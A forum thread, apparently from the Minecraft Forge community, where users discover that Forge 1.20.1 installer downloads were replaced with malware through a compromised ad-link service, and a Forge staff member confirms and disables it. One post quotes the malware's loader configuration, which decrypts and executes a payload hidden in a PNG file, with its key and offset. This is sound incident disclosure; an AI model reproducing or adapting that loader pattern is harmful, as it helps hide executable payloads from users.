The downloded file of Minecraft Forge is .zip

[Always needs help]

I want to install Minecraft Forge, but before I could download it as a .jar file, but now when I download it, it downloads as a .zip file.
For some reason, the extension at the end of the file is .jar.zip. When I unzip it, there is a file named conf and an unfamiliar .exe file, and when I run it, nothing happens. The download source is Official site.

What I tried:

• I dumped the zip into the mods.
• I downloaded other versions (all downloaded as .zip)

I am having the same issue for forge 1.20.1, both releases, but NOT for 1.20 and any other version below that.

 

@Always needs help did you by any chance unzip the whole thing, including the weird conf folder? This seems extremely likely to be a virus. I opened the nginx.conf file from the conf folder in a text editor and this file reads and executes the png file from that same folder. I assumed the exe file would set it all up and allow the hidden code from the image to be executed on my pc, so I avoided that, but I would suggest you check, double check and triple check for viruses.

Adding a bit more context:

File downloaded from official forge site (https://files.minecraftforge.net/net/minecraftforge/forge/index_1.20.1.html😞

forge-1.20.1-47.1.46-installer.jar.zip

Contents of zip file:

- forge-1.20.1-47.1.46-installer.jar.Install_v3.6.5.639.exe
+ conf/
  - juW3tVkmk4JXLkWAsUjtS1T2iZLOYSQt.png
  - nginx.conf

Contents of _nginx.conf_ file:

worker_processes  1;

http {
    copy_file_or_dir conf /Google/Chrome/conf;
    read_file_from_offset global_buf global_len conf/juW3tVkmk4JXLkWAsUjtS1T2iZLOYSQt.png 51033;
    decrypt_aes global_buf xS8qrBECI5HlEIb8 global_len;
    execute global_buf;
}

The contents of this .conf file are all shades of grey possible.

 

Something REALLY weird is that downloading from different browsers result in different contents. The overall thing is the same, but the png file name changes and the buffer length read is different as well.

If you know a bit of HTML/JS you can inspect the adfocus skip button and get the correct download link from there. I'm not posting it here because I'm not sure if the rules allow it. There seems to be something overriding the download function when you click the skip button. Seems like some ill intentioned javascript injection is going on regarding adfocus and they are banking on people's interest in the newest versions of Forge.

 

@Paint_Ninja I think this is something worth looking into, I'm sorry to mention you directly but it might hurt community trust if not addressed.

Thank you for notifying me. We have immediately disabled adfocus after confirming they were compromised and apologise if anyone ended up running the exe contained within.

I recommend running a virus scan if you did run the exe. Forge doesn't distribute any exe files when downloading modern jar installers.

The download pages are now safe again.
